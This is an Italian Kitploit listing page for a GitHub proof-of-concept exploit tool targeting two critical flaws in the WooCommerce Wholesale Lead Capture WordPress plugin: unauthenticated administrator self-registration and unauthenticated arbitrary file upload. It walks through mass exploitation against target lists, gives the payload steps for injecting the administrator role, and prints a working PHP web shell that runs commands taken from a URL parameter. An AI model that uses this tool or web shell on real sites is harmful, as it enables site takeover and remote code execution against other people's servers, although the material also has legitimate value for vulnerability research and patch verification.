Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-27542-CVE-2026-27540- — Privilegio non autenticato | Upload non autenticato di file arbitrari | Kitploit
Strumenti/GitHubGitHub/nxploited/cve-2026-27542-cve-2026-27540-
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingRed Teaming
GitHubnxploited/cve-2026-27542-cve-2026-27540-

CVE-2026-27542-CVE-2026-27540-

Privilegio non autenticato | Upload non autenticato di file arbitrari

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
2276 mesi faNon ancora revisionato

Typing SVG


🔴 Panoramica delle Vulnerabilità

CVE-2026-27542 — Escalation dei Privilegi non Autenticata

CampoDettagli
ID CVECVE-2026-27542
GravitàCRITICA — Punteggio CVSS v3.1: 9.8
VettoreCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Componente InteressatoPlugin WooCommerce Wholesale Lead Capture (WWLC) per WordPress
Tipo di VulnerabilitàEscalation dei Privilegi non Autenticata
Autenticazione RichiestaNessuna
CWECWE-269: Gestione Impropria dei Privilegi

Descrizione:
Il plugin WooCommerce Wholesale Lead Capture per WordPress è vulnerabile all'Escalation dei Privilegi non Autenticata in tutte le versioni interessate note. La vulnerabilità risiede nel gestore dell'azione AJAX wwlc_create_user, che elabora le richieste di registrazione utente senza sanificare o validare adeguatamente i campi di ruolo forniti dall'utente. Un attaccante remoto non autenticato può creare una richiesta POST appositamente formata che inietta campi arbitrari di capacità WordPress — inclusi wp_capabilities[administrator] — direttamente nei metadati utente al momento della creazione dell'account. Ciò consente all'attaccante di auto-registrarsi come amministratore WordPress senza alcuna autenticazione preventiva o interazione con un utente legittimo, con conseguente compromissione totale dell'installazione WordPress interessata.


CVE-2026-27540 — Upload Arbitrario di File non Autenticato

CampoDettagli
ID CVECVE-2026-27540
GravitàCRITICA — Punteggio CVSS v3.1: 9.8
VettoreCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Componente InteressatoPlugin WooCommerce Wholesale Lead Capture (WWLC) per WordPress
Tipo di VulnerabilitàUpload Arbitrario di File non Autenticato (che porta all'Esecuzione Remota di Codice)
Autenticazione RichiestaNessuna
CWECWE-434: Upload Non Limitato di File con Tipo Pericoloso

Descrizione:
Il plugin WooCommerce Wholesale Lead Capture per WordPress è vulnerabile all'Upload Arbitrario di File non Autenticato in tutte le versioni interessate note. La vulnerabilità risiede nell'azione AJAX wwlc_file_upload_handler, registrata senza alcun requisito di autenticazione o verifica del nonce. Inviando una richiesta POST multipart opportunamente modificata a /wp-admin/admin-ajax.php, un attaccante remoto non autenticato può caricare file di tipo arbitrario — incluse web shell PHP — nella directory wp-content/uploads/ del server, all'interno di una sottodirectory wwlc-temp-* generata dinamicamente. Lo sfruttamento riuscito porta all'Esecuzione Remota di Codice (RCE) sul server web sottostante, che opera con l'account utente del processo web.


🛠️ Descrizione dello Strumento

Questo è uno script di sfruttamento Proof-of-Concept (PoC) per le due vulnerabilità critiche descritte sopra, che prende di mira le installazioni WordPress che eseguono il plugin WooCommerce Wholesale Lead Capture. Lo strumento supporta due modalità di attacco indipendenti:

ModalitàTipo di AttaccoObiettivo
Modalità 1Upload Arbitrario di File non Autenticato + scoperta della cartella tramite brute-forceCaricare una web shell PHP e localizzarla indovinando la cartella su più livelli
Modalità 2Escalation dei Privilegi non Autenticata tramite RegistrazioneAuto-registrarsi come Amministratore WordPress e verificare l'accesso admin

📋 Requisiti

Requisiti di Sistema

  • Python 3.8 o superiore
  • Accesso a Internet verso i target
  • Linux / Windows / macOS

Dipendenze Python

pip install requests urllib3 colorama

Oppure installa tramite il file dei requisiti:

pip install -r requirements.txt

requirements.txt:

requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6

🚀 Installazione

# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-27542-CVE-2026-27540.git
cd CVE-2026-27542-CVE-2026-27540

# Install dependencies
pip install -r requirements.txt

# Run the tool
python3 CVE-2026-27542_CVE-2026-27540.py

⚙️ Utilizzo

Esecuzione di Base

python3 CVE-2026-27542_CVE-2026-27540.py

Lo strumento presenta un'interfaccia terminale interattiva. Ti verranno richiesti tutti i parametri necessari.


🗂️ Formato della Lista dei Target

Crea un file di testo semplice (ad es., list.txt) con un URL target per riga:

https://target1.com
https://target2.com
http://target3.com/wordpress

🔴 Modalità 1 — Upload di File + Brute-Force sulla Cartella

Select mode [1=Upload+Folder, 2=Registration+Admin]: 1
Targets list file (one URL per line) [list.txt]: list.txt
Threads (concurrent sites) [3]: 5
HTTP timeout (seconds) [10]: 10
Shell file path [shell.php]: shell.php
Shell signature (marker inside shell) [Nx_SHELL_SIGNATURE]: Nx_SHELL_SIGNATURE
Max pattern-based folder guesses per site [50000]: 50000
Max time-based folder guesses per site [50000]: 50000
Max random-hex folder guesses per site [100000]: 100000
Upload results file [scan_results/wwlc_uploads.txt]: scan_results/wwlc_uploads.txt
Found shells file [scan_results/wwlc_shells_found.txt]: scan_results/wwlc_shells_found.txt

Esempio di file shell (shell.php):

<?php
// Nx_SHELL_SIGNATURE
if(isset($_GET['cmd'])){ system($_GET['cmd']); }
?>

Nota: La cartella wwlc-temp-* viene generata dinamicamente dal plugin tramite uniqid('wwlc-temp-') di PHP. Lo strumento utilizza una strategia di brute-force a più livelli per individuarla:

LivelloStrategiaDescrizione
0Elenco DirectoryTenta di elencare la directory degli upload se aperta
1Basata su PatternTentativi numerici sequenziali e derivati dal tempo
2Hex Basata sul TempoBasata sui timestamp delle richieste HTTP osservate
3Hex CasualeTentativi di stringhe hex puramente casuali

🟠 Modalità 2 — Registrazione + Iniezione del Ruolo + Verifica Admin

Select mode [1=Upload+Folder, 2=Registration+Admin]: 2
Targets list file (one URL per line) [list.txt]: list.txt
Threads (concurrent sites) [3]: 5
HTTP timeout (seconds) [10]: 10
Base registration username (prefix) [Nx_admin]: Nx_admin
Base registration email [[email protected]]: [email protected]
Registration results file [scan_results/wwlc_register_results.txt]:
Admin hits file [scan_results/Admin_login.txt]:

Lo strumento:

  1. Individua il modulo di registrazione WWLC ed estrae un nonce valido
  2. Invia un payload di registrazione modificato che inietta il ruolo administrator
  3. Tenta di accedere con le credenziali create
  4. Verifica l'accesso al pannello admin tramite più endpoint admin di WP
  5. Salva gli accessi admin confermati nel file di output

📁 File di Output

Scarica lo strumento